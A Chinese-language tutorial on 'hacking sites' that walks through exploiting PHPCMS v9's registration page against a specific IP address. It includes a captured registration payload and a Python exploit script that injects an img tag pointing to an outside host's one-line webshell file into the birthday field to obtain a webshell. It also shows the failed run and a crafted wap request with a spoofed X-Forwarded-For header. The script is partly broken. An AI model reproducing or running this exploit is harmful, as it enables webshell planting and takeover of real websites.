通常我们在进行cms爆破(ps:日站)的时候,通常会采取exp任意文件上传的方法,下面以phpcms为例，讲解一下爆破原理
应用场景出口: phpcmsv9
1.根据报文构造payload
payload 可以理解为有效载重，比如有一位客户需要支付一笔费用委托货车司机运送一车石油，石油本身的重量、车子的重量、司机的重量等等，这些都属于载重(load)。但是对于该客户来说，他关心的只有石油的重量，所以石油的重量是有效载重(pay-load，也就是付费的重量)。而在http报文中代表的http请求每次发送报文时。所携带的参数负载
在home页面我们未发现可以提交文件的入口，在注册页面,尝试对post请求进行截包，获取payload
target url : http://120.24.86.145:8001/index.php?m=member&c=index&a=register&siteid=1
payload : siteid=1&modelid=10&username=complone2&password=knxy0616&pwdconfirm=knxy0616&email=32%40qq.com&nickname=complone1&info%5Bbirthday%5D=2017-08-19&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
利用脚本获取webshell
test.py
import requests
from random import Random
chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
def doc(url):
u = url+'/index.php?m=member&c=index&a=register&siteid=1'
data = {
'siteid': '1',
'modelid': '10',
'username': 'complone',
'password': 'knxy0616',
'pwdconfirm': 'knxy0616',
'email': '32@qq.com',
'nickname': 'complone1',
'info[birthday]': '<img src=http://file.codecat.one/normalOneWord.txt#.jpg>',
'dosubmit': '%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC'
'%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C'
}
# rep = requests.post(u, data=data)
try:
rand_name = chars[Random().randint(0, len(chars) - 1)]
data["username"] = "akkuman_%s" % rand_name
data["email"] = "akkuman_%s@qq.com" % rand_name
htmlContent = requests.post(url, data=data)
successUrl = ""
if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
print("[*]Shell : %s" % successUrl)
if successUrl == "":
print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
except:
print("Request Error")
if __name__ == '__main__':
doc("http://120.24.86.145:8001")
Result:payload失败,看来注册页面拿不到webshell,尝试exp脚本获取
D:\python27\python.exe F:/pythonProject/TestRun/Test.py
[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.
2.exp脚本获取
根据phpcms漏洞分析,指定目标URL为/index.php?m=wap&c=index&a=init&siteid=1,为了避免访问时无cookies无法访问页面
GET /index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1
Host: 120.24.86.145:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=15jlma413vq73fkqjagqtfe35up7u3he; kMFcZ_siteid=bbb2G1l2vFnIRuRp1s5yN1xhhQ11UTBVj4L7UMj_
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 54
userid_flash==bbb2G1l2vFnIRuRp1s5yN1xhhQ11UTBVj4L7UMj_
